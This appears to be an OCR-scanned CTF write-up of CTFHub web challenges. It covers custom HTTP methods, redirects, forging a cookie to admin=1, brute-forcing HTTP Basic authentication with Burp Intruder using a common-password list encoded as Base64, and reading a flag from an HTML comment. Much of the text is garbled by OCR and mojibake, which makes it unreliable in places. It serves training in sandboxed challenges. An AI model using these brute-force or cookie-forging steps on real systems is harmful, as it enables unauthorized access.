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HTTP Method is GET

Use CTF**B Method, | will give you flag.

Hint: If you got "HTTP Method Not Allowed ; Error, you should request index.php.
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_Trying 47.98.148.7:10080. ..
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No Flag here!

Give me Flag
® O Inspector Console [ Debugger {} StyleEditor (7Y Performance 4k Memory ) Network [ Storage r Accessibility @ HackBar () Adblock Plus 0] += |
W Rl il HTML €SS JS XHR Fonts Images Media WS Other [ Persistiogs [[)Disablecache  Nothrottling 2 HAR ¢
Status | Met.. Cause Type Transferred  Size  ome H {1385 12565 Headers | Cookies  Params  Response T

document html 489B 1778 [ 83ms

document html

GET img html Remote address: 47.98.145.7:160088
(T cET Statuscode: 382 Moved Temporarily @
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ctfhub{a39831bab3494820a0320b3ealae526cTalb4757}
* Connection #@ to host challenge-48a97c4e74c87c48.sandbox.ctfhub.com left intact

3. cookie
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| Filter: Hiding CSS, image and general binary content

# | Host | Method | URL | Par... 4| Edited | Status |Length | MIME type | Extension | Ti
1 | hitp:/jchallenge-b537a8d5... | GET ! 200 360 text

2 http:/fchallenge-b537a8d5...  GET / 200 360 text

AN

J Request T Response ]

J Raw T Params T Headers T Hex ]

GET / HTTP/1.1

Hozt: challenge-b537af8d5be2leffb. zandbox.ctfhub.com: 10080

Uzer-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
ccept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Aocept-Language: en-US,en;g=0.5

coept-Encoding: gzip, deflate

Connect] V=

Caokie:

Upgrade- 1o wrt- Requestz: 1

BATIEIXANE RN “repeater” H &% Cookie: admin=04Cookie: admin=1)5 &%, KILIEM R T mEaE
Flag.

Send Cancel < v >|r Target: http://challenge-b537a8d5bc21e9fb. sandbox. ctf
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex Render]

GET / HTTP/1.1 s ETTP/1.1 200 OK

Host: challenge-b537a8d5bc2leldfb. sandbox.ctfhub.com: 100380 P Server: openresty/1.15.8.2

Uzer-Agent: Mozilla/5.0 (X11: Linux x386_6d: rv:68.0) Gecko/20100101 Date: Sun, 08 Mar 2020 03:20:01 GMT
Firefox/68.0 Content-Type: text/html; charset=UTF-3
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%*/*;g=0.8 Connection: close

Accept-Language: en-US,en;g=0.5 ¥X-Powered-By: PHP/5.6.40
Accept-Encoding: gezip, deflate Access-Control-Allow-Origin: *

Connect je Qe Accese-Control-Allow-Headere: X-Reguested-With
Cookie: ccegs-Control-Allow-Methods: *
Upgrade- Insectre-Reguests: 1 Content-Length: 48
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FEHTTPH, FEAINE (¥EiE: Basic access authentication) & fo¥rhttpF 2 ACHE (fn: MR EiER
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JRE (ma)

XFIE (58]
E—THABMHTTPEPIRHIHTTPARSZE500301E, RSHERER—SITEN L (localhost) , BENUTHE:

1. EBEPmER—TRESMIMINTE, E2EFRMHEAFPENENE, XBEEAPEIIEBA—TURL, SETHFT—1EG
Z TR EEE.

2. REMRIARI—N401R 4], FHI2M—NAIEE (338: Access Authentication) (9], SLEI=ZFEZY%: www-Authenticate ,
R NEREF IR ERAEE, (6] www-Authenticate: Basic realm="Secure Area" ZElF, Basic FIGIE
B9iEz, realm="Secure Area" NRIFE, FATFSEMIBFERURIEEZI,

3. BINER, EFhERZALEEABFHRTEANAFPESMENE, AP IR ELEVE,

4. BFBATRHFENEEE, ERHEREEERTHE, HERAMIGSR EIGIPTAMEERL (38E: Authorization) AEEM
RiEERER, HRMT:

1. ISR EMNERHEN BF: BB EXNFRE.
2. ARARSEE www-Authenticate FEREIEERG, WEFHBHEMIIMNRE (M0 UTF-8) .

3. ¥F T BmE Nbasebs,

4. $12 Basic , M\ Authorization LFER, Fif§iX#: Authorization Basic FFE . THl: APE:
Aladdin , #f3: OpenSesame , #{EEH Aladdin:OpenSesame , 4RI3/S OWxhZGRpbjpPcGVUU2VZYW1L ,
{-EHTTF’;J:“BE 23X#¥: Authorization: Basic QthZGprijCGVuUZVzYWll BaseBélﬁﬁ%#ElF?JD@%iﬁ,
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Here is your flag: click

Authentication Required

) http://challenge fae9.sandbox.ctfhub.com:10080 is requesting your username and
password. The s u know admin "

User Name: |

Password:

Cancel
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Intercept | HTTP history T WebSockets history T Options ]

| Filter: Hiding CSS, image and general binary content

# | Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension | T
44 http:ffchallenge-2fb9bdbe2... GET fflag. html 404 1458 HTML html C
A bt il ot o b ot | Firafone o CET [ETRP ey ok ann 270 oot ot
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j Request T Response ]

[[Ram | readers | rex |

GET /flag.html HTTE/1.1

Hozt: challenge-2fb9bdbe?fdbl55e. sandbox. ctfhub.com: 10080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0}) Gecko/20100101 Firefox/68.0
heocept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Aocept-Language: en-US,en;g=0.5

Aocept-Encoding: gzip, deflate

Referer: http:,//challenge-2fb9bdbel20dbl55e.sandbox.ctfhub.com: 10080/

Connection: close

Upgrade-Inzecure-Reguestz: 1
Authorization: Basic YWFhOmJiYg==
-_—

Request | Response ]

J Raw T Headers T Hex I HTML I Render ]

HTTF/1.1 401 Unauthorized

Server: openresty/1.15.8.2

Date: Sun, 08 Mar 2020 03:50:02 GMT

Content-Type: text/html; charset=utf-8
Content-Length: 178

Connection: cloze

WWW-Authenticate: Basic realm="Do u know admin 2"

B3R do u konw admin ?, FREBEMIK SR admin, MAE T RMARFERHEENLT . FEEEE HTTPiEXR
SLERH) Authorization B¢, J&TH KIYWFhOmjiYg==base64 f##% 5 & aaa:bbb, W E2EAIZ EAKKS:

5 F BurpSuite # 17 E A\ IEAR
(1) ¥R KIEE Intruder, % Basic/s H base64# 5% N ypayload position

[S—
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.
Attack type lSniper |V]
GET /flag.html HTTE/1.1 & AddS
HosC: challenge-2fb0bdbe20db055e. sandbox. ctfhub. com: 10080 r [ J
User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:68.0} Gecko/20100101 Firefox/68.0 S
Aocept: text/html,application/xhtml+xml,application/xml;g=0.0,%/%;g=0.8 Clears
Bccept-Language: en-US,enig=0.5 [
Accept-Encoding: gzip, deflate Auto §
Referer: hitp://challenge-2fb0bdbe20db055e. sandbox.ctifhub. com: 10080/

Connection: close

Refresh
Upgrade-Insecure-Requeste: 1

Authorization: Basic SYWFhOmJiYg==§5
PESEE_____ g

(2) 7£ Payloadsi& £ T, #%# Payload TypeASimpleList,#R 57 Payload Options H & 7 load In#k &L+
s



@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as pavloads.

Paste 123456
password
Lead ... line
12345678
Remove qwerty
123456789
Clear 12345
1234
111111

Add Enter a new item

Add from list ... [Pro version only]

(3) Payload Processing -> Add-> Add Prefix (ZSINRTZ%) -> %\ admin:

Payload Processing -> Add-> Encode (#Min—AN4mtg77) -> i%&# Baseb4 Encode

@ Payload Processing

You can define rules to perform various processing tasks on each payload before iti

—

Add J Enabled

| Rule

£
Edit &

Add Prefix: admin:
Basef4-encode

Remowve

i

l Down

. &

(4) Payload Encode BU/H A& #] URL-encode, AR F Blbase64 2 G K== %3d , R

R Z WAL R

@ Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

[J URL-encode these characters:

(5) Start Attack , #AJ5# Length HEFF, FHEZPIRSHSHBL200/), BIBRBERTH

(T N EL |

Request | Payload | Status | Error | Timeout | Length & | Comment
22 YWRtaW46cXdlenR5dWhvcA== 200 | O 394
0 401 a a 404
1 YWRtaW4EMTIZNDUZ 401 a a 404
2 YWRtaW4 6cGFze3dvemQ= 401 a a 404
3 YWRtaW46bGIUZ Q== 401 a a 404
4 YWRtaW4EMTIZNDU2Nzg= 401 ] O 404
5 YWRtaW46cXdlcnR5 401 a a 404
& YWREaWAEMTIZNDU2Nzg5 401 d a 404
7 YWRtaWSEMTIzNDU= 401 a O 404
- AALArE LEra AT B P L | i 2
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YWRtaw4
YWRtaw4
YWRtaw4
YWRtawdi
YWRtawdi
YWRtawdi
YWRtawdi
YWRtawdi
YWRtawdi

Copy to clipboard

Close

admin: gwertyuiop
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Request | Respons
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© JEJE]]

0 matches

Hogt: challenge-2fl

Accept: text/html,application/xhtml+xml,application/xml;g=0.08,*%/*;g=0
Accept-Language: en-US,en:;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://challenge-2fbibdbe2ddb055e.sandbox.ctfhub.com: 10080/
Connection: cloze

Upgrade-Insecure-Reguests: 1

Authorization: Basic ¥WRtaWdecXdlcocnRSdWlwvchA==

User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/68.0

.8

#F Response, 53lflag

|Request Response I

J Raw THeaders I Hex i Render ]

Content-Type: text/hitml; charset=utf-3

on: cloze

. Sun, 08 Mar 2020 03:35:27 GMT

Allow-Origin: *

Allow-Headerg: X-Reguested-With
Access-Control-Allow-Methods: *
Content-Length: 49

cLfhub{c03267167c%eellelfeBablelliffeda5125beac)
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I
Y {:} Inspector ) Console [ Debugger {} Style Editor () Performance 4k Memory il Metwork E Storage 'ﬁ' Accessibility |

Q, ctfhub 9| 1of1| + A | T Filterstyles
:I\tlmi ESEE I No element selected.
<head [=l</head>

w» <hody
<canvas id="canvas" width="1000" height="700%*</canvas>
b <diyl=l</div>
P escript type="text/javascript2l=l</script>
</body=>

<!--ctfhub{b%44dccefbb295b92d7568ecaa781612317aB894F} - ->
</ html=
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